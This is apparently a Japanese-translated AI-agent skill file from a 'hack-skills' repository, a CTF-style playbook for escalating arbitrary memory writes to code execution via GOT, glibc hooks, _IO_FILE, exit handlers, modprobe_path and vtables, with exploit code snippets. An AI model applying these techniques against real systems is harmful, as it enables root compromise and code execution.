arbitrary-write-to-rce
任意書き込みプリミティブ(ヒープ搾取・フォーマット文字列・OOB書き込みなど)からRCEへ変換するプレイブック。GOT・フック・`_IO_FILE` vtable・`exit_funcs`・`TLS_dtor_list`・`modprobe_path`・`.fini_array`・C++ vtableを標的にしてコード実行へ昇格させる必要がある際に使用する。
description の原文を見る
>- Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.
SKILL.md 本文
SKILL: 任意書き込みからコード実行へ — エキスパート攻撃プレイブック
AI ロード指示: 任意書き込みプリミティブをコード実行に変換するエキスパートテクニック。glibc バージョン互換性で整理した全主要オーバーライト対象をカバー: GOT、__malloc_hook、__free_hook、_IO_FILE vtable、__exit_funcs、TLS_dtor_list、_dl_fini、modprobe_path、.fini_array、C++ vtable、setcontext ガジェット。これは「ラストマイル」スキルです。ベースモデルはしばしば存在しないフック (glibc 2.34 以降) をターゲットにするか、ポインタマングリング要件を見逃します。
0. 関連ルーティング
heap-exploitation— ヒープ攻撃を経由した任意書き込みの取得format-string-exploitation— %n を経由した任意書き込みの取得stack-overflow-and-rop— スタックベースの書き込みプリミティブbinary-protection-bypass— 保護設定で利用可能なターゲットheap-exploitation IO_FILE_EXPLOITATION.md— _IO_FILE 構造体の深いエクスプロイテーション
1. GLIBC バージョン別ターゲット選択
| ターゲット | glibc < 2.24 | 2.24–2.33 | ≥ 2.34 | 必要な知識 |
|---|---|---|---|---|
| GOT オーバーライト | OK (部分 RELRO) | OK (部分 RELRO) | OK (部分 RELRO) | バイナリベース |
__malloc_hook | OK | OK | 削除 | libc ベース |
__free_hook | OK | OK | 削除 | libc ベース |
__realloc_hook | OK | OK | 削除 | libc ベース |
_IO_FILE vtable (直接) | OK | Vtable 範囲チェック | Vtable 範囲チェック | libc ベース + ヒープ |
_IO_FILE via _IO_str_jumps | N/A | OK (2.24–2.27) | パッチ済み | libc ベース + ヒープ |
_IO_FILE via _IO_wfile_jumps | N/A | OK (≥ 2.28) | OK | libc ベース + ヒープ |
__exit_funcs | OK | OK | OK | libc ベース + ポインタガード |
TLS_dtor_list | N/A | N/A | OK | TLS アドレス + ポインタガード |
_dl_fini / link_map | OK | OK | OK | ld.so ベース |
modprobe_path (カーネル) | OK | OK | OK | カーネルベース |
.fini_array | OK | OK | OK | バイナリベース (書き込み可能な場合) |
| C++ vtable | OK | OK | OK | オブジェクトアドレス + ヒープ |
setcontext ガジェット | OK | OK (2.29 で変更) | OK | libc ベース |
| スタックリターンアドレス | 常に | 常に | 常に | スタックアドレス |
2. GOT オーバーライト
Global Offset Table 内の関数ポインタを置き換えます。
要件
- 部分 RELRO (
.got.plt書き込み可能) — 完全 RELRO はこれを完全にブロック
一般的なターゲット
| 置き換え元 | 置き換え先 | トリガー |
|---|---|---|
printf@GOT | system | 次の printf(user_input) (入力 = /bin/sh) |
free@GOT | system | 次の free(ptr) (ptr が "/bin/sh" を指す) |
strlen@GOT | system | 次の strlen(user_input) |
atoi@GOT | system | 次の atoi(user_input) (入力 = "sh") |
puts@GOT | system | 次の puts(user_input) |
exit@GOT | main またはガジェット | マルチショット攻撃用ループ作成 |
__stack_chk_fail@GOT | ret ガジェット | カナリアチェック無効化 |
# フォーマット文字列 GOT オーバーライト
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {elf.got['printf']: libc.sym['system']})
# ヒープベース GOT オーバーライト (tcache ポイズニング)
# GOT アドレスでチャンク割り当て → system アドレス書き込み
3. __malloc_hook / __free_hook (glibc < 2.34)
__malloc_hook
# __malloc_hook を one_gadget アドレスで上書き
# 任意の malloc 呼び出しでトリガー (printf の大規模フォーマット内の malloc を含む)
write(libc.sym['__malloc_hook'], one_gadget_addr)
# トリガー:
io.sendline('%100000c') # printf は大規模フォーマットで内部的に malloc を呼ぶ
__free_hook
# __free_hook を system で上書き
write(libc.sym['__free_hook'], libc.sym['system'])
# トリガー: "/bin/sh" を含むチャンクを free
chunk_data = b'/bin/sh\x00'
# ... このデータでチャンク割り当て、その後 free
one_gadget 制約の回避への realloc トリック
# one_gadget は多くの場合、特定のレジスタ/スタック状態が必要
# realloc は __realloc_hook 呼び出しの前にレジスタをプッシュしスタックを調整
# __malloc_hook = realloc+N (スタックアライメント調整用に一部プッシュをスキップ)
# __realloc_hook = one_gadget
write(libc.sym['__realloc_hook'], one_gadget)
write(libc.sym['__malloc_hook'], libc.sym['realloc'] + 2) # +2, +4, +6 など調整用
4. _IO_FILE VTABLE
詳細は IO_FILE_EXPLOITATION.md を参照してください。
バージョン別クイックサマリー
| glibc | 方法 | Vtable ターゲット |
|---|---|---|
| < 2.24 | 直接 vtable オーバーライト | __overflow オフセットに system を持つ偽テーブルをポイント |
| 2.24–2.27 | _IO_str_jumps | 有効範囲内; _IO_str_finish が _s._free_buffer を呼ぶ |
| ≥ 2.28 | _IO_wfile_jumps | ワイド文字パス: _wide_data->_wide_vtable 範囲チェックなし |
| ≥ 2.35 | House of Cat | _IO_wfile_seekoff → _IO_switch_to_wget_mode → 偽ワイド vtable 呼び出し |
FSOP トリガー
# _IO_list_all → 細工された vtable を持つ偽 FILE で上書き
# exit() または malloc abort でトリガー → _IO_flush_all_lockp → _IO_OVERFLOW
5. __exit_funcs / __atexit
// __exit_funcs は exit() 時に呼ばれる関数ポインタエントリのリンクリスト
// 各エントリにはフレーバー (cxa, on, at) と関数ポインタが含まれる
// 関数ポインタはポインタガードでマングル:
// stored = ROL(ptr ^ __pointer_chk_guard, 0x11)
エクスプロイテーション
# 必要: libc ベース + __pointer_chk_guard 値 (fs:[0x30] または漏洩)
# 1. ポインタガード漏洩またはブルートフォース
# 2. マングル関数ポインタ計算:
import struct
def mangle(ptr, guard):
return ((ptr ^ guard) << 0x11 | (ptr ^ guard) >> (64-0x11)) & 0xffffffffffffffff
# 3. マングル one_gadget/system を __exit_funcs エントリに書き込み
# 4. トリガー: exit() 呼び出しまたは main からリターン
ポインタガード知識なしで
関数ポインタとポインタガード (TLS の fs:[0x30]) の両方を上書きできる場合:
- ポインタガード を 0 に設定
- 関数ポインタを
ROL(target, 0x11)に設定 - デマングル:
ROR(stored, 0x11) ^ 0 = ROR(ROL(target, 0x11), 0x11) = target
6. TLS_dtor_list (glibc ≥ 2.34)
スレッドローカルデストラクタリスト — post-2.34 の主要ターゲット。
// __call_tls_dtors() 内の exit フロー中に呼ばれる
// 各エントリ: { void (*func)(void *), void *obj, void *next }
// func は exit_funcs と同じようにマングル (PTR_DEMANGLE)
位置
TLS エリア (x86-64 の fs レジスタでポイント)
tls_dtor_list は libc のスレッドローカル変数
通常は fs:[offset] — オフセットは libc シンボルまたはブルートフォースで検出
エクスプロイテーション
# 1. TLS ベースアドレスをリーク (例: カナリア漏洩: fs:[0x28] のカナリア)
# 2. tls_dtor_list アドレスを計算
# 3. tls_dtor_list エントリを偽造:
entry = p64(mangled_func_ptr) # func (ポインタガードでマングル)
entry += p64(arg_value) # obj (func に引数として渡す)
entry += p64(0) # next = NULL (リスト終端)
# 4. エントリをヒープに書き込み、tls_dtor_list をそこをポイントするように設定
# 5. トリガー: exit() → __call_tls_dtors() → func(obj)
7. _dl_fini / LINK_MAP 破損
攻撃ベクトル
exit() 中、_dl_fini は link_map リストを反復し DT_FINI_ARRAY エントリを呼ぶ。
// _dl_fini 内:
for each loaded library (link_map entry):
if l_info[DT_FINI_ARRAY]:
array = l_addr + l_info[DT_FINI_ARRAY]->d_un.d_ptr
for each entry in array:
entry() // デストラクタ呼び出し
エクスプロイテーション
link_mapエントリのl_addr(再配置ベース) を破損させて FINI_ARRAY ポインタをシフト- または
l_info[DT_FINI_ARRAY]を偽配列をポイントするように破損 - 偽配列にはターゲット関数ポインタを含む (system、one_gadget)
- トリガー:
exit()→_dl_fini→ 偽デストラクタを呼ぶ
利点: ポインタマングルなし (FINI_ARRAY 内の関数ポインタはマングルされない)。
8. modprobe_path (カーネル)
カーネルの modprobe_path を上書きして、任意のコマンドを root として実行します。
# 1. 任意カーネル書き込み: modprobe_path ("/sbin/modprobe") を
# "/tmp/x" (攻撃者のスクリプト) で上書き
kernel_write(modprobe_path_addr, b'/tmp/x\x00')
# 2. スクリプト準備:
# echo '#!/bin/sh' > /tmp/x
# echo 'cat /flag > /tmp/output' >> /tmp/x
# chmod +x /tmp/x
# 3. トリガー: 不明なバイナリ形式でファイル実行
# echo -ne '\xff\xff\xff\xff' > /tmp/trigger
# chmod +x /tmp/trigger
# /tmp/trigger
# → カーネル modprobe_path ("/tmp/x") を root として呼ぶ
カーネル書き込みプリミティブについては kernel-exploitation を参照。
9. .fini_array
プログラム終了時に呼ばれるデストラクタ関数ポインタを上書きします。
# .fini_array は exit 時に逆順で呼ばれる関数ポインタを含む
# 通常: [__do_global_dtors_aux, ...]
# 最初のエントリをターゲット (ループ用 main、RCE 用 system) で上書き
# 二段階: .fini_array[0] = main (ループバック)、.fini_array[1] = <exploit_func>
# 最初の exit: .fini_array[1] (exploit_func) を呼ぶ、次に .fini_array[0] (main)
# main ループ内: 最終エクスプロイテーション設定
制限: .fini_array は Full RELRO バイナリで読み取り専用の可能性あり。
10. C++ VTABLE オーバーライト
// 仮想関数を持つ C++ オブジェクトはオフセット 0 に vptr を持つ
// vptr → vtable → 関数ポインタの配列
// vptr を偽 vtable をポイントするように上書きし、制御された関数ポインタを持つ
// オブジェクトレイアウト:
// +0x00: vptr → [vtable_entry_0, vtable_entry_1, ...]
// +0x08: メンバデータ...
# 1. オブジェクトアドレスと vptr をリーク
# 2. 制御されたメモリに偽 vtable を作成:
fake_vtable = p64(0) # オフセット -0x10 (RTTI 情報)
fake_vtable += p64(0) # オフセット -0x08 (RTTI 情報)
fake_vtable += p64(target_func) # 仮想関数 0 → system / one_gadget
fake_vtable += p64(target_func) # 仮想関数 1
# 3. vptr を fake_vtable + 0x10 をポイントするように上書き (RTTI プレフィックススキップ)
# 4. トリガー: オブジェクトで仮想関数呼び出し
11. setcontext ガジェット
libc の setcontext は ucontext_t 構造体からレジスタをロード — ピボットガジェットとして有用。
glibc < 2.29
// setcontext+53: [rdi + オフセット] からレジスタをロード
// RDI = 最初の引数 = 制御されたバッファへのポインタ
// RSP、RIP および全レジスタを設定 → 完全制御
glibc ≥ 2.29
// setcontext+61: [rdx + オフセット] からレジスタをロード
// RDI ではなく RDX を制御する必要あり
// 中間ガジェット必要: mov rdx, [rdi+X]; ... ; call/jmp [rdx+Y]
# __free_hook との共通パターン (pre-2.34):
# __free_hook = setcontext + 61
# free(chunk) → setcontext(chunk) (chunk は偽 ucontext を含む)
# ucontext から: RSP を ROP チェーンに設定、RIP を ret に → ROP 続行
# Post-2.34: _IO_FILE エクスプロイテーションと組み合わせ
# _IO_FILE vtable 呼び出しは fp を最初の引数として渡す → ガジェットで rdx に移動 → setcontext
12. デシジョンツリー
任意書き込みプリミティブがあります。何をターゲットにすべき?
├── RELRO レベルは?
│ ├── なし / 部分 → GOT オーバーライト (最もシンプル、最も信頼性高い)
│ │ └── printf→system、free→system、atoi→system
│ └── 完全 → GOT は読み取り専用、代替案を選択:
│
├── glibc バージョンは?
│ ├── < 2.34 (フック利用可)
│ │ ├── __free_hook = system → free("/bin/sh") [最も簡単]
│ │ ├── __malloc_hook = one_gadget → malloc トリガー [制約満たせば]
│ │ └── __realloc_hook + __malloc_hook realloc トリック [スタックアライメント調整]
│ │
│ ├── ≥ 2.34 (フックなし)
│ │ ├── ポインタガード (fs:[0x30]) 知ってる?
│ │ │ ├── YES → __exit_funcs または TLS_dtor_list
│ │ │ └── NO → まずポインタガード を 0 に上書き、その後 exit_funcs
│ │ ├── _IO_FILE + _IO_wfile_jumps (House of Apple 2 / Cat)
│ │ │ └── 必要: libc ベース + ヒープアドレス + 制御可能 FILE 構造体
│ │ ├── _dl_fini link_map 破損
│ │ │ └── 必要: ld.so ベースアドレス
│ │ └── .fini_array (書き込み可能な場合)
│ │ └── 必要: バイナリベース (PIE なし、または PIE ベース漏洩)
│ │
│ └── 任意バージョン
│ ├── スタックリターンアドレス (スタックアドレス既知な場合)
│ └── C++ vtable (C++ オブジェクトで仮想関数ターゲット)
│
├── カーネル書き込みプリミティブ?
│ ├── modprobe_path (最もシンプルなカーネル→root)
│ ├── core_pattern (/proc/sys/kernel/core_pattern)
│ └── 直接 cred 構造体上書き
│
└── 読み込み → 書き込み → 実行をチェーンする必要?
└── setcontext ガジェット: 任意書き込み → RSP ピボット → ROP チェーン
├── glibc < 2.29: setcontext+53 (RDI 使用)
└── glibc ≥ 2.29: setcontext+61 (RDX 使用、mov rdx, [rdi] ガジェット必要)
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superfluid
Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper
civ-finish-quotes
実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。
nookplot
Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。
web3-polymarket
Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。
ethskills
Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。
xxyy-trade
このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。